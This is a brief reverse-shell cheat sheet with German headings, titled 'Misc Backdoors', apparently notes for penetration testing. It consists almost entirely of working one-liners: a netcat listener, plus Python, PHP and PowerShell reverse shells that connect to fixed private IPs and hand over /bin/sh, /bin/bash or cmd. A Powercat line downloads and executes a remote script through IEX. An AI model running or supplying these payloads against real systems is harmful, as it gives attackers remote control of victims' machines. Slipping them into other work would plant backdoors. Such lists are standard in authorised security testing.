Misc Backdoors

Angreifer

• netcat -lp 1234

Python

shell

• python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

bash

• python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Php

shell

• php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

bash

• php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

Powershell

• $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Powercat

• IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
• powercat -c 10.0.10.101 -p 1234 -e cmd -v
• https://github.com/besimorhino/powercat

Quellen

• https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet